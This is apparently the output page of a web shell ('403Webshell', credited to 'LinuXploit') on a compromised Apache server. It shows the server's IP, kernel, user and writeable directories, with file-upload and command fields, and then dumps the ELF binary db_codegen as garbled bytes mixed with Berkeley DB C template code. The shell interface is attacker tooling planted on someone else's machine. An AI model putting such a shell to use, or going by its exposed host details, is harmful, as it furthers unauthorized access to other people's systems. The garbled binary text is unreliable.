403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/6265/task/3228/root/usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/6265/task/3228/root/usr/bin/db_codegen
ELF04T4 (444444KKKrrKHHHDDPtdI<<Qtd/lib/ld-linux.so.2GNUGNUz+Fsg)%fO5	G< a@	#|CEk߬KqXa*4  ;BJ=o
4}\I1-ZmxtxTiOҤ)ORzpO^OI4*з*`ϒϒϒВ*В*Ttx A(,pȏOyOyOyOyOypOyp`ii
ii
ii
ti	ii
ii
! $(,048	<
@D
HLPTX\`dhlpUS[xTtN
X[5%%h% h%$h%(h%,h %0h(%4h0%8h8p%<h@`%@hHP%DhP@%HhX0%Lh` %Phh%Thp%Xhx%\h%`h%dh%hh%lh%ph1^PTRh0h@QVhUSd$=xu@|-X9st&||9rxd$[]Ð&Ud$tt	$ÐUWVSRd$u@$4@D$4D$<D$8D$0E|$t$$&@ vAD$D$(D$$7d$D[^_]Ívt&D$4z&T$8D$D$$G$T$8D$D$D$D$D$$I&D$0D$,T$,$D$D$<D$D$,$T$,$D$txD$D$,$D$<Xt&D$D$$D$$D$d$D1[^_]Ðt&D$<v&U;$
¸tTD$<uT$4$X|$<w,XD$D$$1$ÐUWVSN$uD4$D$p	HD$T$$lD$pD$$L8`U܉MEww(u-bMD$pL$D$$v4t7OuϋD$D$ED$pD$$v4uɋ uD$pD$$҉UTDM܋Ep(UWt&MD$pL$D$$!D$D$D$$v4t`Vt|$D$pD$$FuF M܉D$F$D$pL$D$$v4uE@ E҉UM܋E؋x(vW҉Uts	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PrD$$tsD$D$D$t$$D$V|P$t$D$D$D$$D$	|P D$$u9tx|B0@>$D$bLt?!$D$tn'D$$,tJ4$D$:t&CD$$I|T$ǃtEU]Ít&'UWVS73)t$1ED$ED$E$9rރ[^_]ÐUSfg7USd$t[Ћud$[]ÐUS[7\Y[c++cxxjavar%s: %s: %s
a:i:o:Vvusage: %s [-Vv] [-a c] [-i input] [-o output]
C++ and Java APIs not yet supported
wwwwwwwwwwhwwwwwwwwwwwwȮwwwwwwSapplication.cw },
 }
};

NULL_comparebdb__dbenv&_callback#include <sys/types.h>
#include <sys/stat.h>

#include <errno.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <direct.h>

#define	mkdir(dir, perm)	_mkdir(dir)
#endif

#include "db.h"

/* Global environment and database handles for use by the application */
DB_ENV	*%s_dbenv;			/* Database environment handle */
DB	*%s;			/* Database handle */
DB	*%s_%s;			/* Database handle */

/* Public functions for use by the application */
int bdb_startup(void);
int bdb_shutdown(void);

static int
bdb_%s_callback(DB *secondary, const DBT *key, const DBT *data , DBT *result)
{
	secondary->errx(secondary,
	    "%s: missing callback comparison function");
	return (DB_DONOTINDEX);
}
Warning: you must write a comparison function for the %s database
	result->data = &((u_int8_t *)data->data)[%d];
	result->size = %d;
	return (0);
}

static int bdb_%s_compare(DB *, const DBT *, const DBT *);

static int
bdb_%s_compare(DB *dbp, const DBT *a, const DBT *b)
{
	%s ai, bi;

	memcpy(&ai, a->data, sizeof(ai));
	memcpy(&bi, b->data, sizeof(bi));
	return (ai < bi ? -1 : (ai > bi ? 1 : 0));
}

/* DB_ENV initialization structures */
typedef struct {
	DB_ENV **envpp;
	char *home;
	u_int32_t gbytes;
	u_int32_t bytes;
	u_int32_t ncache;
	int private;
	int transaction;
} env_list_t;
static env_list_t env_list[] = {
%s	{ &%s_dbenv, "%s", %lu, %lu, %lu, %d, %d/* DB initialization structures */
typedef struct db_list_t {
	DB_ENV **envpp;
	DB **dbpp;
	char *name;
	DBTYPE type;
	u_int32_t extentsize;
	u_int32_t pagesize;
	u_int32_t re_len;
	int (*key_compare)(DB *, const DBT *, const DBT *);
	DB **primaryp;
	int (*secondary_callback)(DB *, const DBT *, const DBT *, DBT *);
	int dupsort;
	int recnum;
	int transaction;
} db_list_t;
static db_list_t db_list[] = {
%s	{ %s%s%s, &%s%s%s, "%s", %s, %lu, %lu, %lu,
		%s%s%s, %s%s%s%s, %s%s%s, %d, %d, %d#ifdef BUILD_STANDALONE
int
main()
{
	return (bdb_startup() && bdb_shutdown() ? EXIT_FAILURE : EXIT_SUCCESS);
}
#endif

static int bdb_env_startup(env_list_t *);
static int bdb_env_shutdown(env_list_t *);
static int bdb_db_startup(db_list_t *);
static int bdb_db_shutdown(db_list_t *);

/*
 * bdb_startup --
 *	Start up the environments and databases.
 */
int
bdb_startup()
{
	u_int i;

	/* Open environments. */
	for (i = 0; i < sizeof(env_list) / sizeof(env_list[0]); ++i)
		if (bdb_env_startup(&env_list[i]))
			return (1);
	/* Open primary databases. */
	for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i)
		if (db_list[i].primaryp == NULL &&
		    bdb_db_startup(&db_list[i]))
			return (1);
	/* Open secondary databases. */
	for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i)
		if (db_list[i].primaryp != NULL &&
		    bdb_db_startup(&db_list[i]))
			return (1);
	return (0);
}

/*
 * bdb_shutdown --
 *	Shut down the environments and databases.
 */
int
bdb_shutdown()
{
	u_int i;

	/* Close secondary databases. */
	for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i)
		if (db_list[i].primaryp != NULL &&
		    bdb_db_shutdown(&db_list[i]))
			return (1);
	/* Close primary databases. */
	for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i)
		if (db_list[i].primaryp == NULL &&
		    bdb_db_shutdown(&db_list[i]))
			return (1);
	/* Close environments. */
	for (i = 0; i < sizeof(env_list) / sizeof(env_list[0]); ++i)
		if (bdb_env_shutdown(&env_list[i]))
			return (1);
	return (0);
}

static int
bdb_env_startup(env_list_t *ep)
{
	struct stat sb;
	DB_ENV *dbenv;
	u_int32_t open_flags;
	int ret;

	/*
	 * If the directory doesn't exist, create it with permissions limited
	 * to the owner.  Assume errors caused by the directory not existing;
	 * we'd like to avoid interpreting system errors and it won't hurt to
	 * attempt to create an existing directory.
	 *
	 * !!!
	 * We use octal for the permissions, nothing else is portable.
	 */
	if (stat(ep->home, &sb) != 0)
		(void)mkdir(ep->home,  0700);

	/*
	 * If the environment is not transactional, remove and re-create it.
	 */
	if (!ep->transaction) {
		if ((ret = db_env_create(&dbenv, 0)) != 0) {
			fprintf(stderr, "db_env_create: %%s", db_strerror(ret));
			return (1);
		}
		if ((ret = dbenv->remove(dbenv, ep->home, DB_FORCE)) != 0) {
			dbenv->err(dbenv, ret,
			    "DB_ENV->remove: %%s", ep->home);
			goto err;
		}
	}

	/*
	 * Create the DB_ENV handle and initialize error reporting.
	 */
	if ((ret = db_env_create(&dbenv, 0)) != 0) {
		fprintf(stderr, "db_env_create: %%s", db_strerror(ret));
		return (1);
	}
	dbenv->set_errpfx(dbenv, ep->home);
	dbenv->set_errfile(dbenv, stderr);

	 /* Configure the cache size. */
	if ((ep->gbytes != 0 || ep->bytes != 0) &&
	    (ret = dbenv->set_cachesize(dbenv,
	    ep->gbytes, ep->bytes, ep->ncache)) != 0) {
		dbenv->err(dbenv, ret, "DB_ENV->set_cachesize");
		goto err;
	}

	/*
	 * Open the environment.
	 */
	open_flags = DB_CREATE | DB_INIT_MPOOL | DB_THREAD;
	if (ep->private)
		open_flags |= DB_PRIVATE;
	if (ep->transaction)
		open_flags |= DB_INIT_LOCK |
		    DB_INIT_LOG | DB_INIT_TXN | DB_RECOVER;
	if ((ret = dbenv->open(dbenv, ep->home, open_flags, 0)) != 0) {
		dbenv->err(dbenv, ret, "DB_ENV->open: %%s",  ep->home);
		goto err;
	}

	*ep->envpp = dbenv;
	return (0);

err:	(void)dbenv->close(dbenv, 0);
	return (1);
}

static int
bdb_db_startup(db_list_t *dp)
{
	DB_ENV *dbenv;
	DB *dbp;
	int ret;

	dbenv = dp->envpp == NULL ? NULL : *dp->envpp;

	/*
	 * If the database is not transactional, remove it and re-create it.
	 */
	if (!dp->transaction) {
		if ((ret = db_create(&dbp, dbenv, 0)) != 0) {
			if (dbenv == NULL)
				fprintf(stderr,
				    "db_create: %%s\n", db_strerror(ret));
			else
				dbenv->err(dbenv, ret, "db_create");
			return (1);
		}
		if ((ret = dbp->remove(
		    dbp, dp->name, NULL, 0)) != 0 && ret != ENOENT) {
			if (dbenv == NULL)
				fprintf(stderr,
				    "DB->remove: %%s: %%s\n",
				    dp->name, db_strerror(ret));
			else
				dbenv->err(
				    dbenv, ret, "DB->remove: %%s", dp->name);
			return (1);
		}
	}

	if ((ret = db_create(&dbp, dbenv, 0)) != 0) {
		if (dbenv == NULL)
			fprintf(stderr, "db_create: %%s\n", db_strerror(ret));
		else
			dbenv->err(dbenv, ret, "db_create");
		return (1);
	}
	if (dbenv == NULL) {
		dbp->set_errpfx(dbp, dp->name);
		dbp->set_errfile(dbp, stderr);
	}

	if (dp->dupsort && (ret = dbp->set_flags(dbp, DB_DUPSORT)) != 0) {
		dbp->err(dbp, ret, "DB->set_flags: DB_DUPSORT: %%s", dp->name);
		goto err;
	}

	if (dp->recnum && (ret = dbp->set_flags(dbp, DB_RECNUM)) != 0) {
		dbp->err(dbp, ret, "DB->set_flags: DB_RECNUM: %%s", dp->name);
		goto err;
	}

	if (dp->extentsize != 0 &&
	    (ret = dbp->set_q_extentsize(dbp, dp->extentsize)) != 0) {
		dbp->err(dbp, ret,
		    "DB->set_q_extentsize: %%lu: %%s",
		    (u_long)dp->extentsize, dp->name);
		goto err;
	}

	if (dp->pagesize != 0 &&
	    (ret = dbp->set_pagesize(dbp, dp->pagesize)) != 0) {
		dbp->err(dbp, ret,
		    "DB->set_pagesize: %%lu: %%s",
		    (u_long)dp->pagesize, dp->name);
		goto err;
	}

	if (dp->re_len != 0 &&
	    (ret = dbp->set_re_len(dbp, dp->re_len)) != 0) {
		dbp->err(dbp, ret,
		    "DB->set_re_len: %%lu: %%s",
		    (u_long)dp->re_len, dp->name);
		goto err;
	}

	if (dp->key_compare != NULL &&
	    (ret = dbp->set_bt_compare(dbp, dp->key_compare)) != 0) {
		dbp->err(dbp, ret, "DB->set_bt_compare");
		goto err;
	}

	if ((ret = dbp->open(dbp, NULL, dp->name, NULL, dp->type,
	    (dp->transaction ? DB_AUTO_COMMIT : 0) |
	    DB_CREATE | DB_THREAD, 0)) != 0) {
		dbp->err(dbp, ret, "DB->open: %%s", dp->name);
		goto err;
	}

	if (dp->primaryp != NULL &&
	    (ret = dbp->associate(*dp->primaryp,
	    NULL, dbp, dp->secondary_callback, DB_CREATE)) != 0) {
		dbp->err(dbp, ret, "DB->associate: %%s", dp->name);
		goto err;
	}

	*dp->dbpp = dbp;
	return (0);

err:	(void)dbp->close(dbp, 0);
	return (1);
}

static int
bdb_env_shutdown(env_list_t *ep)
{
	DB_ENV *dbenv;
	int ret;

	dbenv = ep->envpp == NULL ? NULL : *ep->envpp;
	ret = 0;

	if (dbenv != NULL && (ret = dbenv->close(dbenv, 0)) != 0)
		fprintf(stderr,
		    "DB_ENV->close: %%s: %%s\n", ep->home, db_strerror(ret));
	return (ret == 0 ? 0 : 1);
}

static int
bdb_db_shutdown(db_list_t *dp)
{
	DB_ENV *dbenv;
	DB *dbp;
	int ret;

	dbenv = dp->envpp == NULL ? NULL : *dp->envpp;
	dbp = *dp->dbpp;
	ret = 0;

	/*
	 * If the database is transactionally protected, close without writing;
	 * dirty pages; otherwise, flush dirty pages to disk.
	 */
	if (dbp != NULL &&
	    (ret = dbp->close(dbp, dp->transaction ? DB_NOSYNC : 0)) != 0) {
		if (dbenv == NULL)
			fprintf(stderr,
			    "DB->close: %%s: %%s\n", dp->name, db_strerror(ret));
		else
			dbenv->err(dbenv, ret, "DB->close: %%s", dp->name);
	}
	return (ret == 0 ? 0 : 1);
}
%s: %d: line too longenvironment{.homecachesizeprivatedatabaseDB_BTREEcustomdupsortextentsizekey_typepagesizeprimaryrecnumre_lensecondary_offsettransactionbtreehashDB_HASHqueueDB_QUEUErecnoDB_RECNO}%s: line %d: %s: invalid input
;8lT8dzR|\AB
Qu		"u		"u		"
AAB
AD
AAB
AF,|
AB
N	
AAAA0AB
HL
AAAAAB
A(|ZAB
NEAAA,AB
L
oЁ
܆8o$oo܅ooPo`oDD<Ɛ҇`YЖhzPߢ{_pdP0Тݤ6libdb-4.7.so__gmon_start___Jv_RegisterClassesdb_strerror__os_callocdb_version_init__config_split_fini__db_getulong__os_strdup__db_rpathlibpthread.so.0__errno_locationlibc.so.6_IO_stdin_used__printf_chkoptindstdinfgetsgetopt__fprintf_chkfreopen64fclosestrcasecmp__ctype_b_locoptargstderrstrchrfopen64__libc_start_main__stack_chk_fail_edata__bss_start_endenv_treeprognameGLIBC_2.4GLIBC_2.3GLIBC_2.1GLIBC_2.3.4GLIBC_2.0/lib/ld-linux.so.2ELF04\M4 (444444KKKpKHHHDDPtdI<<Qtd44HH !hh$4oD>Ё@FNo܅H[o$$j	8s	܆|0wp00	$%|$I<IHKKKKKLdttLxxL$xL.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.gnu.liblist.gnu.conflict.gnu.prelink_undo44HH !hh$4oD>Ё@oP``DNo܅H[o$$j	8s	܆
|0wp00	$%|$I<IHKKKKKLdttLxxL$FL|NDS

Youez - 2016 - github.com/yon3zu
LinuXploit